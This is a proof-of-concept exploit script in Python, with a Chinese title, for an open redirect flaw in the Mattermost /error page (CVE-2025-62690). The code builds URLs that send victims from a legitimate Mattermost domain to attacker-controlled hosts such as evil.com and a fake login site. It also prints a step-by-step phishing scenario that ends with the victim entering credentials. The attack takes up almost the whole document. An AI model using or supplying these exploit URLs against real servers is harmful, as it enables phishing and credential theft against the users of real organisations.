CVE-2025-62690 Mattermost /error页面开放重定向漏洞

# CVE-2025-62690 PoC - Mattermost Open Redirect # Target: Mattermost server with vulnerable /error page import urllib.parse def generate_malicious_url(target_url, redirect_target): """ Generate malicious URL for open redirect attack Args: target_url: Target Mattermost server URL (e.g., 'https://mattermost.example.com') redirect_target: Malicious redirect target URL Returns: Malicious URL that exploits the open redirect vulnerability """ # Encode the redirect target to obfuscate encoded_redirect = urllib.parse.quote(redirect_target, safe='') # Construct the malicious URL pointing to /error page malicious_url = f"{target_url}/error?redirect={encoded_redirect}" return malicious_url def generate_phishing_scenario(): """ Generate phishing attack scenario URLs """ mattermost_target = "https://mattermost.company.com" phishing_site = "https://fake-login.malicious-site.com" # Generate the exploit URL exploit_url = generate_malicious_url(mattermost_target, phishing_site) # Alternative: Direct parameter injection alt_exploit_url = f"{mattermost_target}/error?redirect=//evil.com" return { "description": "Open Redirect Attack via /error page", "step1": f"Attacker crafts: {exploit_url}", "step2": "Victim receives link via email/chat", "step3": "Victim opens link in new tab", "step4": "Browser shows legitimate Mattermost domain", "step5": f"Browser redirects to: {phishing_site}", "result": "Victim enters credentials on phishing site" } # Example usage if __name__ == "__main__": target = "https://mattermost.company.com" malicious = "https://attacker-controlled-site.com/fake-login" exploit_url = generate_malicious_url(target, malicious) print(f"Exploit URL: {exploit_url}") scenario = generate_phishing_scenario() for key, value in scenario.items(): print(f"{key}: {value}")